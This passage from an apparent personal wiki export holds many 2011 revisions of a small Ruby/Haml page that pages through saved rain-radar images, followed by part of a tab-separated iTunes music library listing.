=\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\n -page = params[:page].to_i rescue 1\r\n -images = images.slice(((page-1)*5),(page*5))\r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older","created_at":"2011-07-19T01:19:43.000Z","updated_at":"2011-07-19T01:19:43.000Z"},{"id":1798,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\nHaml::Engine.new(str).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:21:19.000Z","updated_at":"2011-07-19T01:21:19.000Z"},{"id":1799,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\nHaml::Engine.new(str).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:21:43.000Z","updated_at":"2011-07-19T01:21:43.000Z"},{"id":1800,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\nHaml::Engine.new(str).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:22:19.000Z","updated_at":"2011-07-19T01:22:19.000Z"},{"id":1801,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\np template\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\nHaml::Engine.new(str).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:22:51.000Z","updated_at":"2011-07-19T01:22:51.000Z"},{"id":1802,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\np template\r\n\r\nHaml::Engine.new(str).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:23:15.000Z","updated_at":"2011-07-19T01:23:15.000Z"},{"id":1803,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:23:45.000Z","updated_at":"2011-07-19T01:23:45.000Z"},{"id":1804,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}\r\npage = request.params[\"page\"].to_i rescue 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:24:07.000Z","updated_at":"2011-07-19T01:24:07.000Z"},{"id":1805,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:24:21.000Z","updated_at":"2011-07-19T01:24:21.000Z"},{"id":1806,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\n\r\n\r\n\r\n\r\nHaml::Engine.new(\"\").render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:24:39.000Z","updated_at":"2011-07-19T01:24:39.000Z"},{"id":1807,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\")\r\n\r\n\r\nHaml::Engine.new(\"\").render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:24:49.000Z","updated_at":"2011-07-19T01:24:49.000Z"},{"id":1808,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\")\r\n\r\n\r\nreturn Haml::Engine.new(\"\").render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:25:03.000Z","updated_at":"2011-07-19T01:25:03.000Z"},{"id":1809,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\")\r\n\r\n\r\nreturn \"\"","created_at":"2011-07-19T01:25:07.000Z","updated_at":"2011-07-19T01:25:07.000Z"},{"id":1810,"name":"radar","body":"ruby Radar\r\n-# vim:set ft=ruby :\r\n\r\n\r\n\r\nreturn \"\"","created_at":"2011-07-19T01:25:18.000Z","updated_at":"2011-07-19T01:25:18.000Z"},{"id":1811,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\n\"\"","created_at":"2011-07-19T01:25:40.000Z","updated_at":"2011-07-19T01:25:40.000Z"},{"id":1812,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\n\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\nHaml::Engine.new(str).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:26:00.000Z","updated_at":"2011-07-19T01:26:00.000Z"},{"id":1813,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:26:17.000Z","updated_at":"2011-07-19T01:26:17.000Z"},{"id":1814,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n","created_at":"2011-07-19T01:26:26.000Z","updated_at":"2011-07-19T01:26:26.000Z"},{"id":1815,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/\"+i, :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:27:26.000Z","updated_at":"2011-07-19T01:27:26.000Z"},{"id":1816,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*5),(page*5))\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/\"+i, :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n","created_at":"2011-07-19T01:28:26.000Z","updated_at":"2011-07-19T01:28:26.000Z"},{"id":1817,"name":"memo/初心者ナイト","body":"名前\tアーティスト\t作曲者\tアルバム\tグループ\tジャンル\tサイズ\t時間\tディスク番号\tディスク数\tトラック番号\tトラック数\t年\t変更日\t追加日\tビット レート\tサンプル レート\t音量調整\t種類\tイコライザ\tコメント\t再生回数\t最後に再生した日\tスキップ回数\t最後にスキップした日\tマイレート\t場所\r\n6cm\tmeg rock\t\t君のこと\t\tJ-Pop\t4413405\t261\t\t\t2\t\t2008\t2011/01/03 11:04\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 000033BC 00002F7C 0001BD00 0001D774 00002727 00002727 00008000 00008000 00002710 00002727\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\meg rock\\君のこと\\02 6cm.m4a\r\nclover\tmeg rock\t\tmighty roller coaster\t\tJ-Pop\t4676518\t265\t\t\t3\t\t2008\t2011/01/03 11:12\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00002B37 00002ACB 00009B82 0000A975 00038270 00035BA5 00008000 00008000 00002710 00002710\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\meg rock\\mighty roller coaster\\03 clover.m4a\r\nROSE HIP-BULLET\tGRANRODEO\t\tROSE HIP-BULLET\t\tRock\t4398409\t265\t1\t\t1\t\t\t2011/01/03 11:13\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\GRANRODEO\\ROSE HIP-BULLET\\1-01 ROSE HIP-BULLET.m4a\r\n99%LIBERTY\tKinKi Kids\t織田 哲郎\t39 [Disc 2] -KOICHI'S FAVORITE-\t\tJohney's\t4756448\t291\t2\t3\t6\t14\t2005\t2011/01/03 11:01\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\KinKi Kids\\39 [Disc 2] -KOICHI'S FAVORITE-\\2-06 99%LIBERTY.m4a\r\nジェットコースター・ロマンス\tKinKi Kids\t\tB album\t\tJohney's\t5257253\t294\t\t\t12\t\t\t2011/01/03 10:56\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00000468 00000487 00001557 000015F1 0002BF20 0002BF20 00008000 00007AFC 0002BF37 0002BF37\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\KinKi Kids\\B album\\12 ジェットコースター・ロマンス.m4a\r\nVia\tMONORAL\t\tVia\t\tRock\t4500408\t268\t1\t1\t5\t11\t2008\t2010/11/29 18:46\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Via\\05 Via.m4a\r\nVISIONS IN MY HEAD\tMONORAL\tHideoki Mogi\tVISIONS IN MY HEAD\t\tRock\t4628557\t253\t\t\t1\t\t\t2010/11/30 11:48\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00004A62 00004AD6 000126D2 0001281E 000222E0 000222E0 00008000 00008000 00002710 00002710\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\VISIONS IN MY HEAD\\01 VISIONS IN MY HEAD.m4a\r\nMonkey 